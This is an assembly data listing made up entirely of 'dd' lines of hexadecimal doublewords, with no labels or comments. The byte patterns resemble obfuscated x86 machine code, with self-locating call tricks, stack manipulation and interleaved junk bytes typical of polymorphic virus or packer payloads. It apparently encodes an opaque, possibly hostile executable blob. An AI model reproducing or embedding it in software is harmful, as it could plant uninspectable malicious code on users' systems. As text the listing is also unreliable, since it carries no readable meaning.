		dd 0C3524200h, 2BB3BC5Fh, 8786EB1Fh, 0CF8166C4h, 89506711h
		dd 0DF812404h, 35B8C5A3h, 225D95FFh, 0B58B05E8h, 5E80F49h
		dd 16998D8Dh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E94841C3h, 44A9A324h, 259529F7h
		dd 0C705E82Bh, 1, 6E800h, 36610000h, 0FF6B1C0Ch, 0F8B70F60h
		dd 20198D89h, 5F6105E8h, 21BD0Bh, 41C705E8h, 4,	5D958900h
		dd 0B05E80Ah, 7A840FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F165C350h
		dd 8D901FEAh, 0E84D6A8Dh, 0B8F28B05h, 5, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0ABC35646h, 10818D89h
		dd 0B58B05E8h, 5E808E5h, 9D01E1FFh, 5E813E1h, 178C0Fh
		dd 0EE80000h, 69000000h, 0C14D5359h, 63ED9637h,	17623DABh
		dd 0FABF0F4Dh, 998D8D5Fh, 0E905E816h, 7, 1E9144E3h, 0C78624C6h
		dd 0CA95A501h, 53006A54h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0A81A40D0h, 0E90B723Fh
		dd 0Ch,	1FF0715h, 151F153Fh, 80CF7E7Fh,	2CDBD09h, 18105E8h
		dd 1499CFCBh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	3BC35747h, 15117FEEh, 0F28B66D1h, 690441C7h, 89CE5F59h
		dd 0E82529B5h, 4418105h, 31D6D710h, 0CE8h, 948C8400h, 5D3CA49h
		dd 8DE953F5h, 6A5E87h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 7DC35040h, 2E79BF97h,	99858D87h, 0E905E816h
		dd 11h,	22544826h, 0F3BCAA1h, 412E8BB1h, 0E04623C1h, 9050903Eh
		dd 3081B58Bh, 95FF05E8h, 5E8225Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 6CC35747h, 8AE17BECh, 0DE831E44h
		dd 998D8D4Dh, 6A05E816h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 8343C355h, 73D6BD6Dh
		dd 14E9h, 7F632100h, 7417D3BCh,	806756A6h, 0AF2F85F2h
		dd 23504066h, 1C707h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 64A8C352h, 0F0873248h
		dd 130CDBCEh, 441C7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0D56BC353h,	0FC00B6Dh
		dd 3684h, 0C59D8900h, 8D05E822h, 0E84D6A8Dh, 5B8F905h
		dd 89000000h, 0E802ADB5h, 6AE1FF05h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 335C350h
		dd 0F0C4E9CAh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B3631C3h, 0E80D61B5h, 21BD8905h
		dd 6605E806h, 8B8550BEh, 0F18B66C1h, 11E9h, 0E55FBD00h
		dd 5063E46Fh, 0FAE62BCCh, 0C8302468h, 4EBDB41h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 76C35646h
		dd 3406D4DAh, 0FE9ACh, 60490000h, 27BAA708h, 0D87DD66Fh
		dd 0DE86C0EAh, 50006A9Ah, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0F761A067h, 8BE18A6Ch
		dd 0F6D6817Eh, 8D1563A7h, 0E81C1D85h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 6800FF5h, 89000000h,	0E80E3D95h, 0DE905h, 8CAC0000h
		dd 452735Ch, 5B05118Fh,	90E538ECh, 90505E50h, 1A17BE56h
		dd 0E85E293Fh, 0Dh, 890FA3E2h, 57E5D744h, 0DB19B88Eh, 7DB58B71h
		dd 5E05E832h, 9E9006Ah,	3000000h, 396C1C7Fh, 0DC2C3934h
		dd 0B760006Ah, 0D37DBBF6h, 8D611065h, 0EBE48385h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0B57CB106h, 0C083CA5Ch, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 2F10D72h, 0ABA1A5A9h
		dd 509082EBh, 2860F57h,	8B000000h, 0E9905EF1h, 0Eh, 8991E91Fh
		dd 77A38A66h, 856DBB21h, 6AE1D0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0FC35040h, 0A4BD1B2Bh, 0E8597F66h
		dd 0Fh,	4DCF6108h, 0DC088F05h, 0CD098859h, 897FF140h, 0E810399Dh
		dd 0F565E05h, 6A5EF0BFh, 3D95FF00h, 0E905E820h,	8, 4B1CEC7Fh
		dd 0E1314403h, 0A4DB9D8Dh, 6A05EBh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 4C790DC3h
		dd 0D3FF0ED0h, 8800Fh, 8B560000h, 0E814FDB5h, 85FF5E05h
		dd 5E82545h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0B8C35343h, 0AE84B6Bh, 89000000h, 0EE5DB842h, 0CF11F9A9h
		dd 0C99589FDh, 5E05E813h, 0A47E9h, 0E800h, 815D0000h, 0EBE48DEDh
		dd 0D1BD8105h, 0D005E824h, 0F000007h, 18986h, 8BF28B00h
		dd 0E802919Dh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 70F26DD6h, 0BD8C3BD1h
		dd 840F27FFh, 1Eh, 12E8h, 0E4082700h, 0F3DB339Ah, 645D5E71h
		dd 6A9A85AFh, 89C81CBBh, 0E8321995h, 0E3815E05h, 100h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F9C35141h
		dd 0BB2A5B1Bh, 0FDB0BDCh, 9D85h, 0BE900h, 41D10000h, 6814A782h
		dd 14E7C3CEh, 67BD8328h, 5EBE2h, 31840Fh, 0BDBE0000h, 0E97598B0h
		dd 86h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 17C35343h, 0B5896060h, 5E81719h, 0C76161F5h,	0EBE26785h
		dd 105h, 0B70F5200h, 820F5EF2h,	13h, 0EE9h, 6FD55D00h
		dd 61612294h, 12D040E6h, 0E9EC3C2Bh, 32h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0BCC35242h, 339BD01h
		dd 85C705E8h, 5EBE267h,	0
		dd 2831B58Bh, 9D8D05E8h, 5E80291h, 14E951h, 6AA0000h, 5DC1B3B2h
		dd 0E919C6BDh, 741861DBh, 0F89A0361h, 815E7F5Ch, 0FFFEFF23h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 867350B0h, 0F877345Fh, 858B6093h, 5E82421h
		dd 0E2DB58Bh, 0F6105E8h, 8C66F1B7h, 0ED9D89DBh,	0F605E82Ch
		dd 840F04C3h, 0A1h, 0CE8h, 696F2000h, 0C664AE37h, 1D8AE092h
		dd 8E91Fh, 0A7720000h, 0E12F17C4h, 0FF5E3476h, 0E809AD95h
		dd 459D8905h, 9005E826h, 0BE8h,	8B01D300h, 9EC3F75Eh, 8FC37696h
		dd 0CE860h, 2F0C0000h, 687C2E4Ch, 0B045EC6h, 5659B242h
		dd 505E6159h, 0BE8h, 0F621B800h, 0ADD3D23Ah, 0D1F6D666h
		dd 0BE9h, 0E74A6300h, 7CDC3DF5h, 83433136h, 6A905Eh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 29AF58C3h, 5BD89DFh,	8905E82Eh, 0E80879BDh, 3EAE905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0C28D12C3h, 0B38F3662h, 12E9h, 1CE31A00h
		dd 0EAAD8F50h, 30203243h, 2F61E8F4h, 0B0D7CF0Bh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 38E303Ah, 71852919h,	0E605E80Dh, 56006A70h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8A8F1724h
		dd 71E46282h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	90C35040h, 750EA883h, 8B666EBDh, 1A850FF2h, 0E8000000h
		dd 12h,	1EC18223h, 966262B6h, 0D26A1B22h, 5C9BA663h, 5E577030h
		dd 0D8B60F5Eh, 32D59589h, 6BA05E8h, 89000000h, 0E82F5D85h
		dd 6AC38B05h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 684BC353h, 0DAAB4ACFh,	0BEF1BF0Fh
		dd 73914617h, 5004E8C1h, 665EF28Bh, 0D82BE2F7h,	1B398589h
		dd 605005E8h, 0F98B6650h, 0F54DBB5Fh, 896131B0h, 6A241Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0FD60C4C3h, 8960E004h, 0E82CB195h, 61BD8905h, 6105E808h
		dd 24D1B5FFh, 0B58905E8h, 5E8086Dh, 20F995FFh, 6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0DC5C67C3h, 0A8FE906Dh, 8F0FB463h, 0Dh, 8E9h, 0C3D42D00h
		dd 16363A5h, 0F00B0BBh,	58Ah, 0F6816600h, 70E6F91Fh, 816671E4h
		dd 3C3B8DD6h, 29830F61h, 6A000002h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 1243C350h
		dd 0F1DD76Ch, 0EE81D8B6h, 2B6D389Eh, 6BAh, 9DB58B00h, 8B05E802h
		dd 0E8C1F5C3h, 0F6BF0F04h, 6AE2F766h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CF5BC352h
		dd 42F5EA27h, 0E973F1ECh, 0Dh, 8FC2C81Bh, 92EAF28Fh, 337A209Ch
		dd 6AD82BBBh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 8C19C352h, 0E8F48A60h,	13h, 76AACFC8h
		dd 8FF6DCEFh, 5D259773h, 2A605B39h, 0F9F677F2h,	58FC6159h
		dd 6A9B58Bh, 0D82B05E8h, 166880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DDA6CDC3h
		dd 0FD9D298Dh, 8B05E815h, 5E953F2h, 4C000000h, 7578EB89h
		dd 7B95Eh, 0BD890000h, 5E805E1h, 6600C183h, 0D93BF08Bh
		dd 11A860Fh, 0B58B0000h, 5E814DDh, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F96C356h, 9E0A10E2h, 7E9h, 8F7ED00h, 0F0486254h, 0F04C1F6h
		dd 0D384h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1604h, 0C3504000h, 0FFE2DB14h, 0E809AD95h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 6AAF83E5h, 5BFCC2FEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0C0C35747h, 86DB78A1h, 0F38B66F7h, 6AC32Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 6B54CFC3h, 816653F8h, 5E17F8D6h, 8343Dh, 35860F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F19C356h, 481h, 30BE6600h, 12E9B9h
		dd 5E90000h, 42000000h,	0AA16D849h, 8529C08Bh, 5E81989h
		dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	1FC35747h, 22499CF1h, 0F185C784h, 0FB05E819h, 6A38D899h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0DB2CC351h, 0BEC08BDAh, 28722FCAh, 24D1BD81h
		dd 7D005E8h, 850F0000h,	4Eh, 0EE9h, 0F24B6D00h,	43B9E26Eh
		dd 6FC0C9CBh, 0FF15E489h, 0E824D185h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0CF96D910h, 31609AA8h, 0E82FF19Dh, 8D896005h, 5E82DADh
		dd 8FC5BA66h, 0B5FF6161h, 5E824D1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 47C35343h, 9D6CC050h, 85736592h
		dd 0F18B6686h, 20F995FFh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 8BF1B4C3h, 2291B58Bh
		dd 8B9005E8h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0EE1E293Ch, 6645F0E4h, 387F681h
		dd 835BD83h, 0F0005E8h,	4984h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 8E99B38Ah
		dd 29900C0Ah, 0E810DD95h, 261E905h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DF8CBAC3h
		dd 77DE8166h, 0C7F7663Eh, 850F0004h, 233h, 84178CBEh, 0BF15h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 987F1C3h,	9D8DE572h, 5EBEE41h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 98C35545h, 8166ED31h
		dd 93FC23CEh, 890Fh, 57500000h,	5EF18B66h, 25B58B93h, 6405E82Bh
		dd 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 1D6995C3h, 5F8249BCh, 8589C850h
		dd 5E830E1h, 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 1613C350h, 8B66BE43h
		dd 0CDC48BF7h, 8900EB01h, 0E82899BDh, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0E5B2985Dh, 0E3D68104h, 642C9349h, 58Fh, 5E80000h, 0E2000000h
		dd 0D7DFDFBh, 1591B58Bh, 835E05E8h, 0B58B04C4h,	5E8202Dh
		dd 840FC00Bh, 117h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0CFC35242h, 8BC9050Fh, 0E81941B5h, 6ABD8D05h
		dd 8905E84Dh, 0E824918Dh, 5B805h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0B54274C3h, 0E4BF2C42h
		dd 0FF1EA8F3h, 53006AE7h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 60C98731h, 9E8h, 0F308AC00h
		dd 8B2A0B0Ch, 8E880C9h,	0D1000000h, 1906E364h, 5FA422A9h
		dd 8166605Fh, 0E85D13CBh, 13h, 1BCE30FAh, 0C3C74CF6h, 6480692Eh
		dd 1BAEC4A0h, 59D86996h, 8B576161h, 8B10245Ch, 0B883h
		dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	10C35141h, 56006AB3h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 2B01D2B0h, 0F5E3E9CAh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 44C8DC3h,	8C0FB551h, 4, 4839BE66h, 0BD8BC18Bh
		dd 5E80359h, 90CAC7BEh,	4EB7Dh,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8DDBC353h
		dd 867782F1h, 5870F60h,	66000000h, 9D79EF81h, 8961BDB6h
		dd 0E803418Dh, 1D858D05h, 0F05E81Ch, 687h, 2DB58B00h, 9005E81Fh
		dd 0BE505F56h, 6B7458A9h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 81665F43h
		dd 6AA956CEh, 0FE8B6600h, 0EE960h, 39340000h, 3BDDDC2Ch
		dd 0F8113808h, 5BA1351Dh, 0AE8h, 0BA4C5B00h, 0CA17B91Eh
		dd 0FD0C351h, 85h, 6A615900h, 0F0BF0F00h, 0F0B4858Dh, 6A05EBh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 816694C3h, 83F7A3F6h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 8C175BC3h, 880F8AD9h
		dd 2Ah,	14E8h, 34085700h, 0E816967Eh, 1EA98DA3h, 6A63366Eh
		dd 0E3BAAB6Ah, 0BE97Ch,	45370000h, 8CBC8AC9h, 488EA7CCh
		dd 89505F8Ch, 6AF82404h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 5B58938h, 8B05E800h, 0E81BC1B5h
		dd 60006A05h, 28858D89h, 858B05E8h, 5E81391h, 3D95FF61h
		dd 8B05E820h, 0E80E79BDh, 0DB9D8D05h, 6A05EBA4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 7C39C351h, 8BBA08FDh, 89D3FFF3h, 0E82F8DB5h,	41F68105h
		dd 0FF2AFBE2h, 0E8254585h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 712B7DFBh
		dd 89D20F06h, 0E82D31B5h, 870E905h, 0E80000h, 5D000000h
		dd 0F0BEED81h, 6A05EBh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 8A8CD2C3h, 984E1C01h, 89FF59CDh
		dd 0E82D55BDh, 0D1BD8105h, 0D005E824h, 0F000007h, 17586h
		dd 699D8B00h, 0F05E829h, 0E381FBB7h, 100h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F1C35646h, 0FD47A4FCh
		dd 0A9B58BD1h, 8105E831h, 6322EE7h, 0FDB0B15h, 0D785h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0CF8166C5h, 0BD837998h, 5EBEEDEh, 3D840F00h
		dd 57000000h, 2DE1BD33h, 0E95E05E8h, 0AAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DEC35646h, 0DC8C2C49h
		dd 291FFD3Dh, 0E82AE9B5h, 30B36005h, 61F08B66h,	0EEDE85C7h
		dd 105EBh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0B88FBC3h, 1C73A6h, 0E9FB1D0Eh
		dd 46h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0DBC35747h, 5079B958h, 11E99202h, 0C4000000h, 0E737E83Ah
		dd 0E34B3C98h, 0FA67209Fh, 0ACE45AFFh, 0EEDE85C7h, 5EBh
		dd 0BE660000h, 9D8DE390h, 5E82969h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 4DC35343h, 36E0CEE7h, 0FF23813Dh
		dd 6AFFFFFEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 310FC356h, 8C66F88Bh, 45B50BDBh
		dd 0F605E802h, 840F04C3h, 84h, 2441BD2Bh, 816605E8h, 0FF202CEEh
		dd 0E809AD95h, 0EFBE6005h, 8B62CCBCh, 0E89061FBh, 12h
		dd 0A9FBBE7Ah, 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah, 505F650Ch
		dd 20BE5060h, 5E112879h, 6A9061h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 45EA57C3h, 65FC80Eh
		dd 0E8D25C5Dh, 7, 81BEE0C6h, 8B743F1Ah,	0E82991B5h, 820F5F05h
		dd 8, 39BD8B53h, 5E05E810h, 440E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89C63590h
		dd 0E8029D95h, 0F00B005h, 1F8Eh, 14E800h, 0D7480000h, 484FD4C9h
		dd 1C84C737h, 446B7323h, 0E2912059h, 1DBFE932h,	5E4FEDE3h
		dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 3CA99C3h,	0CDBD8BF5h, 0E405E82Fh,	0D8B60F71h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ADC35545h
		dd 53A3867Fh, 14E8h, 69E90700h,	0BCF0F39h, 834F152Fh, 0B2490C19h
		dd 6F9DC34Ch, 13E88Ch, 0ED980000h, 0BC33F5E5h, 0E1A83C07h
		dd 0C31480B9h, 0BFB25A65h, 5E9AAh, 0A7460000h, 5F416558h
		dd 0FBB70F5Eh, 6BAh, 9D858900h,	8B05E802h, 0E8C1F5C3h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0A6CB3AF9h, 6691F5B3h, 6AE2F7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 21276CC3h, 9D9627CBh, 0F7813284h, 3D992FF6h,	0D82BF08Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 98C35747h
		dd 0C07830F4h, 4880F04h, 66000000h, 501550BEh, 6A241C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7D06C356h, 6AF43A08h, 0BE9AF175h,	7E58D29h
		dd 0B5FF05E8h, 5E824D1h, 11E9h,	9EAF5700h, 0D9FD7FAAh
		dd 3F373079h, 91BF3F0Bh, 95FF6987h, 5E820F9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0EEC35040h, 0B0F6BF0Fh
		dd 95B58B00h, 0E605E80Fh, 59952970h, 0E405E814h, 5E971h
		dd 5A80000h, 3CDEF8FCh,	46830F61h, 66000002h, 2F5CDE81h
		dd 0FCD8B60Fh, 6BAh, 40E68100h,	0E90DC3E4h, 11h, 8A89EDB4h
		dd 8194247Ch, 0E46BD310h, 91E110DFh, 56C38B31h,	4AB86660h
		dd 0F1B70F7Dh, 0E8C15F61h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2151D85Ah
		dd 0EB168CDh, 0AE950BCh, 1E000000h, 0EA8415C2h,	379F9034h
		dd 19BD8B94h, 6605E81Ah, 6AE2F7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8B6688C3h, 6AD82BFEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0FC23C356h, 0D3D87CFEh, 483E3613h, 0F19BD0Bh
		dd 6A5805E8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 27A1C353h, 9795741Ch, 45070B67h
		dd 9A98D89h, 0D82B05E8h, 14F880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0D43DBDC3h
		dd 0F917793h, 0E85155B7h, 13h, 8A3637E1h, 88509F13h, 82307EC6h
		dd 0C894780h, 5F86D859h, 7B95Fh, 83FC0000h, 0B52300C1h
		dd 5E829ADh, 860FD93Bh,	0F9h, 66F18B66h, 8B66D98Ch, 4C1F6F1h
		dd 0DF840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 641871C3h, 0A35E1FB8h, 0AD95FFEBh
		dd 6A05E809h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3DF0C352h, 50FC1D29h, 6A5B5Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E99A8BC3h, 12h, 0F477007Bh,	85C76E91h, 0A7A677A2h
		dd 326F23F8h, 0C32BCBB4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0B8C35242h, 3DF9ACCBh, 834h, 33860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 2EB7C2C3h, 8951C6B5h, 0E8132595h,	0EE95E05h
		dd 8B000000h, 0E82875B5h, 89C08B05h, 0E80279B5h, 8BC38B05h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 48F8B604h, 0F5D83EC6h, 29185C7h,	377D05E8h
		dd 11E85DD0h, 0D7000000h, 3D931AEDh, 1D4049DAh,	57545B4Dh
		dd 3EB178E7h, 1B75BD2Bh, 8B5E05E8h, 0CE9C0h, 82A30000h
		dd 0A6574D41h, 2190F607h, 0BD810D5Eh, 5E824D1h,	7D0h, 12850Fh
		dd 0BD8B0000h, 5E813ADh, 24D185FFh, 950105E8h, 5E82CCDh
		dd 24D1B5FFh, 8B6605E8h, 0F995FFF3h, 9005E820h,	56D0BF66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 4CC35141h
		dd 9D03F25Eh, 2BF5B72Fh, 0E80F25BDh, 89F98B05h,	0E80A719Dh
		dd 65B58B05h, 105E82Dh,	0E809F5BDh, 6860F05h, 8B000000h
		dd 0E82B79B5h, 0F1B70F05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0FCC35545h, 3EE39C43h, 30D6E853h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6CC35343h, 0E5952938h
		dd 6A05E808h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 293BC352h, 0E82E858Dh,	85B53105h
		dd 6005E820h, 89C0BF0Fh, 0E82E0D8Dh, 0BD8D8B05h, 6105E805h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5DC35343h
		dd 6359D99Dh, 0EE24AEF7h, 4284BFD2h, 81661A61h,	8B8FF5E6h
		dd 0E82975BDh, 0F7CCE905h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8B616CC3h
		dd 0BA2DF1FEh, 8B0FAC15h, 0
		dd 59BD8B60h, 5205E80Eh, 98D858Bh, 0B75E05E8h, 0C18B61F4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E9C35141h
		dd 8F21432Fh, 4EBF4h, 53000000h, 3800Fh, 0BF0F0000h, 6A5EF2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 2B98CCC3h, 64E49242h, 1D858DD4h, 2905E81Ch, 0E81C019Dh
		dd 8B605005h, 0C860FF7h, 0E9000000h, 7,	35B36630h, 6177F967h
		dd 89240489h, 0E808B1B5h, 6A006A05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0B3C5C352h
		dd 615198C2h, 6B1C0C36h, 32E5B58Bh, 6A05E8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 69C35646h, 0B58BE8BEh
		dd 5E82411h, 0FABC858Dh, 0F28B05EBh, 0DE8h, 96C2F900h
		dd 0C50F8F42h, 0E1BFCF83h, 8589F9A6h, 5E81121h,	5C0835Eh
		dd 6850Fh, 85890000h, 5E80CD1h,	1D64BE90h, 90503BD6h, 0DD70CE81h
		dd 6A6EFCh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 15h,	19C35343h, 81006AFAh, 5518CFEEh, 0FE8B666Ah, 203D95FFh
		dd 9D8D05E8h, 5EBA4DBh,	68B0Fh,	95890000h, 5E81475h, 6AD3FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DF9FDC3h, 0E9BAB666h, 9, 7FB5B131h,	6739D1DEh, 4585FF4Dh
		dd 8105E825h, 0D459E1EFh, 896E942h, 0E80000h, 5D000000h
		dd 0FAC6ED81h, 10E905EBh, 9E000000h, 0FA6DAEFEh, 0BD6EE7ADh
		dd 62E3A099h, 81DE7A4Dh, 0E824D1BDh, 7D005h, 9E860F00h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 2AE3C350h, 66B196F3h, 8B259EBEh
		dd 0E826319Dh, 0AE905h,	0E95D0000h, 0CA9DD427h,	800C9A2Fh
		dd 100E381h, 0F88B0000h, 850FDB0Bh, 0E1h, 0E857006Ah, 3
